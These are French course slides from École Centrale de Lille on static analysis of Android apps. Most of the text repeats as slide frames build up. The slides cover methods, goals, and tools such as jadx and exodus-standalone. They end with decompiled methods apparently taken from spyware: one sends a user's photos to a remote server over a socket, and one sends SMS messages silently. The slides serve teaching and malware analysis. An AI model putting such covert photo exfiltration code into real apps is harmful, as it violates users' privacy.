L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

L'analyse statique

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

L'analyse statique

Qu'est ce que l'analyse statique ?

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale

(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale

(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale

(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale

(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Objectifs :

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Objectifs :

- Permissions de l'application

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Objectifs :

- Permissions de l'application
- Trackers inclus

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

Outils :
- Jadx : décompileur dex vers Java. Il permet de ne pas avoir à manipulerles fichiers smali (qui correspondant à peu près à de l'assembleur pour android), quisont peu lisibles
- Exodus-standalone : Analyse par signature pour déterminer les permissionsainsi que les trackers utilisés par une application

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Objectifs :

- Permissions de l'application
- Trackers inclus
- Portions de codes utilisables pour l'analyse dynamique

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

Outils :
- Jadx : décompileur dex vers Java. Il permet de ne pas avoir à manipulerles fichiers smali (qui correspondant à peu près à de l'assembleur pour android), quisont peu lisibles
- Exodus-standalone : Analyse par signature pour déterminer les permissionsainsi que les trackers utilisés par une application

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Outils :

Objectifs :

- Permissions de l'application
- Trackers inclus
- Portions de codes utilisables pour l'analyse dynamique

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

Outils :
- Jadx : décompileur dex vers Java. Il permet de ne pas avoir à manipulerles fichiers smali (qui correspondant à peu près à de l'assembleur pour android), quisont peu lisibles
- Exodus-standalone : Analyse par signature pour déterminer les permissionsainsi que les trackers utilisés par une application

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Outils :

- jadx

Objectifs :

- Permissions de l'application
- Trackers inclus
- Portions de codes utilisables pour l'analyse dynamique

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

Outils :
- Jadx : décompileur dex vers Java. Il permet de ne pas avoir à manipulerles fichiers smali (qui correspondant à peu près à de l'assembleur pour android), quisont peu lisibles
- Exodus-standalone : Analyse par signature pour déterminer les permissionsainsi que les trackers utilisés par une application

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Outils :

- jadx
- Android Studio

Objectifs :

- Permissions de l'application
- Trackers inclus
- Portions de codes utilisables pour l'analyse dynamique

centralelille
ÉCOLE CENTRALE DE LILLE

L'analyse statique :
L´analyse statique de code correspond à une analyse du logiciel réalisée sans exécuter le programme.Le but de l´analyse statique est de trouver les défauts présents dans le logiciel.Elle permet également de s´assurer que le code est écrit selon des régles de progammations définis,

Méthodes :
- Analyse du code source : peut être illégale
- Analyse par signature : pas de décompilation, ce qui rend l'opération légale
(mais pas forcément approuvée par les créateurs des applications que l'on analyse)

Objectifs :
- Permissions : déterminer si l'application nécessite des permissionsqui sembles incohérentes
- Lister les trackers qui y sont inclus
- Déterminer si des portions de code peuvent être intéressantes pourl'analyse dynamique

Outils :
- Jadx : décompileur dex vers Java. Il permet de ne pas avoir à manipulerles fichiers smali (qui correspondant à peu près à de l'assembleur pour android), quisont peu lisibles
- Exodus-standalone : Analyse par signature pour déterminer les permissionsainsi que les trackers utilisés par une application

L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'éxecuter.

Méthode d'analyse

- Analyse du code source
- Analyse par signature

Outils :

- jadx
- Android Studio
- exodus-standalone

Objectifs :

- Permissions de l'application
- Trackers inclus
- Portions de codes utilisables pour l'analyse dynamique

centralelille
ÉCOLE CENTRALE DE LILLE

sendPhoto : Méthode qui envoie des photos à un serveur distant

sendSMS :Méthode qui envoie un SMS

L'analyse statique : Exemple

sendPhoto : Méthode qui envoie des photos à un serveur distant
sendSMS :Méthode qui envoie un SMS

L'analyse statique : Exemple


```
1   private void sendPhoto(byte[] data) {
2     try {
3       Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
4       ByteArrayOutputStream bos = new ByteArrayOutputStream();
5       bitmap.compress(CompressFormat.JPEG, 20, bos);
6       JSONObject object = new JSONObject();
7       object.put("image", true);
8       object.put("buffer", bos.toByteArray());
9       IOSocket.getInstance().getIoSocket().emit("x0000ca", object);
10    } catch (JSONException e) {
11      e.printStackTrace();
12    }
13  }
```

FIGURE – Méthode permettant la prise et l'envoie d'une photo

sendPhoto : Méthode qui envoie des photos à un serveur distant

sendSMS :Méthode qui envoie un SMS

L'analyse statique : Exemple

- **L'analyse statique**

```
1   private void sendPhoto(byte[] data) {
2     try {
3       Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
4       ByteArrayOutputStream bos = new ByteArrayOutputStream();
5       bitmap.compress(CompressFormat.JPEG, 20, bos);
6       JSONObject object = new JSONObject();
7       object.put("image", true);
8       object.put("buffer", bos.toByteArray());
9       IOSocket.getInstance().getIoSocket().emit("x0000ca", object);
10    } catch (JSONException e) {
11      e.printStackTrace();
12    }
13  }
```

FIGURE – Méthode permettant la prise et l'envoie d'une photo

```
1   public static boolean sendSMS(String phoneNo, String msg) {
2     try {
3       SmsManager.getDefault().sendTextMessage(phoneNo, null, msg, null, null);
4       return true;
5     } catch (Exception ex) {
6       ex.printStackTrace();
7       return false;
8     }
9   }
```

FIGURE – Méthode permettant l'envoie d'un SMS